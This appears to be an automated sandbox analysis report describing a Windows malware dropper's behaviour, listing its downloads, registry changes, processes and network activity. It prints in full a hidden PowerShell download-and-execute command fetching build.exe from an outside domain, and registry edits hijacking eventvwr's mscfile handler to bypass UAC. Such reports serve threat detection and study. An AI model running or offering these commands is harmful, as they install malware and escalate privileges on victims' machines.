Technical Information
Malicious functions
Downloads and executes
- http://beaconsafaris.com/tekex/build.exe as %temp%\\build.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://beaconsafaris.com/tekex/build.exe','%TEMP%\\build.exe') & reg add HKCU\\Software\\Classes\\msc...
Modifies file system
Creates the following files
- nul
Network activity
Connects to
- 'be####safaris.com':80
- 'be####safaris.com':443
TCP
HTTP GET requests
- http://be####safaris.com/tekex/build.exe
Other
- 'be####safaris.com':443
UDP
- DNS ASK be####safaris.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://beaconsafaris.com/tekex/build.exe','%TEMP%\\build.exe') & reg add HKCU\\Software\\Classes\\msc...' (with hidden window)
- '<SYSTEM32>\mmc.exe' "<SYSTEM32>\eventvwr.msc"' (with hidden window)
Executes the following
- '<SYSTEM32>\reg.exe' add HKCU\\Software\\Classes\\mscfile\\shell\\open\\command /d %TEMP%\\build.exe /f
- '<SYSTEM32>\eventvwr.exe'
- '<SYSTEM32>\mmc.exe' "<SYSTEM32>\eventvwr.msc"
- '<SYSTEM32>\ping.exe' -n 15 127.0.0.1
